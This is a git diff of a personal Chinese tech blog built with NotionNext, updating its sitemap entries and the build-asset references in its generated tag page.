-<url><loc>https://github.com/BOTHSAVAGE/category/技术分享</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/category/心情随笔</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/推荐</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/文字</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/工具</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/开发</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/建站</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/docker</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/自动化</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/折腾</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.123Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/git</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.124Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/日志</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.124Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/微服务</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.124Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/spring</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.124Z</lastmod></url>
-<url><loc>https://github.com/BOTHSAVAGE/tag/skywalking</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:49:02.124Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.677Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/archive</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.677Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/category</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.677Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/search</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.677Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/sitemap.xml</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/search/NotionNext BLOG</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/search/NotionNext BLOG/page/1</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/guide</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240322-angry</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240325-ollama</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240320-arthas</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240319-xmrig</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240124-deploy</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240121-skywaking</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/240119-notion</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/begin</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-2</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-3</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-4</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-5</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-6</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-7</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-8</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-9</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/article/example-10</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/category/知行合一</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/category/技术分享</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/category/心情随笔</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/推荐</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/文字</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/工具</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/开发</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/建站</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/docker</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/自动化</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/折腾</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/git</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/日志</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/微服务</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/spring</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/tag/skywalking</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
+<url><loc>https://github.com/BOTHSAVAGE/%23</loc><changefreq>daily</changefreq><priority>0.7</priority><lastmod>2024-04-02T04:59:49.678Z</lastmod></url>
 </urlset>
\ No newline at end of file
diff --git a/tag.html b/tag.html
index 817c42daf..a0e7b11aa 100644
--- a/tag.html
+++ b/tag.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag-256108ef48b29ccf.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="bg-white dark:bg-gray-700 py-10"><div class="dark:text-gray-200 mb-5"><i class="mr-4 fas fa-tag"></i>Tags<!-- -->:</div><div id="tags-list" class="duration-200 flex flex-wrap"><div class="p-2"><a class="cursor-pointer inline-block rounded hover:bg-gray-500 hover:text-white duration-200
+<!DOCTYPE html><html lang="zh-CN"><head><title>Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag-256108ef48b29ccf.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 